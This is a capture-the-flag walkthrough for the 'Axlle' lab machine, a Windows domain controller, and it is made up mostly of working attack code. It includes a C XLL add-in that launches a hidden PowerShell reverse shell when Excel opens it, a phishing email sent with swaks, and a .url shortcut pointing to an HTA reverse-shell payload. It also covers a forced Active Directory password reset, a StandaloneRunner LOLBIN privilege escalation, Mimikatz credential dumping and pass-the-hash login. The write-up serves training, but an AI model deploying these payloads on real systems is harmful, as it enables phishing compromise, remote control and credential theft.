Explore the fundamentals of cybersecurity in the Axlle Capture The Flag (CTF) challenge, a hard-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.
Add Hosts
Script to add hosts automatically
1
2
3
| ip="10.10.11.21"
domain="axlle.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
|
Mapping
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| Nmap scan report for axlle.htb (10.10.11.21)
Host is up (0.052s latency).
Not shown: 986 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
25/tcp open smtp hMailServer smtpd
| smtp-commands: MAINFRAME, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Axlle Development
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-10-22 13:33:43Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: axlle.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: axlle.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: MAINFRAME; OS: Windows; CPE: cpe:/o:microsoft:windows
|
This method demonstrates how to gain an initial foothold by delivering a reverse shell using an XLL file in Excel. Once the target opens the malicious XLL file, it triggers the reverse shell.
For more details on XLL-based attacks, refer to the SwisskyRepo guide:
SwisskyRepo - Office Attacks
- Create the Reverse Shell Code
Save the following C code as revshell.c
. This code defines a function xlAutoOpen
that executes when Excel loads the XLL file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| #include <windows.h>
__declspec(dllexport) void __cdecl xlAutoOpen(void) {
// Triggers when Excel opens
WinExec("powershell -nop -W hidden -noni -ep bypass -c \"$TCPClient = New-Object Net.Sockets.TCPClient('<vpn-ip>', 9001);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()\"", 1);
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
|
- Compile the DLL into XLL Format
Use MinGW to compile the C code into an XLL file:
1
| x86_64-w64-mingw32-gcc -shared -fPIC -o trustthis.xll revshell.c
|
- Set Up a Listener
Prepare to catch the reverse shell by opening a Netcat listener on your local machine:
- Send the XLL via Email
Use swaks
to send the XLL file as an attachment through email:
1
| swaks --from sheltCP1@axlle.htb --to accounts@axlle.htb --body "Important update required." --header "Subject: Urgent Update" --attach @trustthis.xll
|
Creating a Windows Symbolic Link for Exploitation
- Create the Symlink: On your local machine, create a symlink that points to an exploit file using the
echo
command in Bash. This command formats the contents correctly to simulate a Windows Internet Shortcut pointing to a remote file:
1
| echo -e "[{000214A0-0000-0000-C000-000000000046}]\nProp3=19,9\n[InternetShortcut]\nIDList=\nURL=file://<vpn-ip>/share/exploit.hta" > shortcut.url
|
[{000214A0-0000-0000-C000-000000000046}]
and Prop3=19,9
are used to format the file as a Windows shortcut.URL=file://<vpn-ip>/share/exploit.hta
specifies the network location of the exploit file.
- Prepare the Listener: Set up a listener on your local machine to monitor any connections triggered by the server accessing the exploit:
- Prepare the Exploit File: Make the
exploit.hta
file:
1
2
3
4
5
6
7
8
9
10
11
12
| <html>
<head>
<HTA:APPLICATION ID="shell">
<script language="javascript">
var c = "powershell -nop -W hidden -noni -ep bypass -c \"$TCPClient = New-Object Net.Sockets.TCPClient('<vpn-ip>', 9002);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()\"";
new ActiveXObject('WScript.Shell').Run(c, 0, true);
</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>
|
On your PC, use Impacket to start an SMB server and serve files where exploit.hta is:
1
| sudo smbserver.py -smb2support share .
|
Wait for Connection
Once the reverse shell connects, you should be:
1
2
| SHELL> whoami
axlle\dallon.matrix
|
Retrieve the User Flag:
1
| type \users\dallon.matrix\desktop\user.txt
|
Changing jacob.greeny’s Password for WinRM Access
Download and serve PowerView.ps1
:
1
2
| wget https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
python -m http.server
|
On the target machine:
1
2
3
4
5
6
7
| cd \inetpub\testing
wget http://10.10.14.15:8000/shortcut.url -o shortcut.url
wget http://10.10.14.15:8000/PowerView.ps1 -o PowerView.ps1
Import-Module .\PowerView.ps1
Import-Module ActiveDirectory
$Password = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-ADAccountPassword -Identity jacob.greeny -NewPassword $Password -Reset
|
Access the target with WinRM:
1
| evil-winrm -i 10.10.11.21 -u jacob.greeny -p 'Password123!'
|
LOLBINs StandaloneRunner Exploit
In the \App Development\kbfiltr\README.md
, the following is mentioned:
NOTE: I have automated the running of C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\standalonerunner.exe
as SYSTEM to test and debug this driver in a standalone environment.
You can check directory permissions by running:
1
| icacls "C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64"
|
The output shows that the folder is writable, but the files inside it are not writable. This means you can create new files in the directory, but you can’t modify the existing ones. This setup can be exploited by placing a malicious file in the writable directory and using standalonerunner.exe
to execute your commands as SYSTEM.
Reference: StandaloneRunner LOLBINs
1
2
3
4
5
6
7
8
9
| cd \
mkdir work
cd work
mkdir myTestDir
echo myTestDir True > reboot.rsf
cd myTestDir
mkdir working
cd working
echo > rsf.rsf
|
Create and Share command.txt
on Your Machine
- Create the
command.txt
file on your machine using a text editor:
- Paste the following PowerShell reverse shell code into
command.txt
(this is Powershell #3 from revshells.com):
1
| powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('<vpn-ip>', 9003);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"
|
- Start a simple HTTP server to serve the file for the target machine:
This will serve the command.txt
file on port 8000 by default. You can then download it on the target machine.
Step 2: Run on the Target Machine
- Download the
command.txt
file on the target machine (in work/
directory):
1
2
| cd \work
wget http://<vpn-ip>:8000/command.txt -OutFile command.txt
|
- Open a Listener on your machine (port you specified in
command.txt
):
Step 3: Copy the Contents of the Work
Directory to Program Files
Finally, you can copy the contents of the Work
directory to the Program Files
directory:
1
2
| cp -r \work\* "C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\" -Force
ls "C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\"
|
1
2
3
4
5
6
7
| Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/22/2024 12:42 PM myTestDir
-a---- 10/22/2024 12:38 PM 674 command.txt
-a---- 10/22/2024 12:34 PM 36 reboot.rsf
-a---- 9/30/2023 3:08 AM 33392 standalonerunner.exe
-a---- 9/30/2023 3:08 AM 43632 standalonexml.dll
|
Wait 60 seconds.
1
| type \users\administrator\desktop\root.txt
|
Step 1: Set Up Mimikatz
Download, extract, and run Mimikatz to obtain the NT hash:
curl http://<vpn-ip>:8000/mimikatz.zip -o m.zip && tar -xf m.zip
cd mimikatz
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
Note down the NTLM hash of the Administrator.
Step 2: Initiate Evil-WinRM Session
Utilize the extracted NT hash to access the target system:
1
| evil-winrm -i axlle.htb -u administrator -H 6322b5b9f9daecb0fefd594fa6fafb6a
|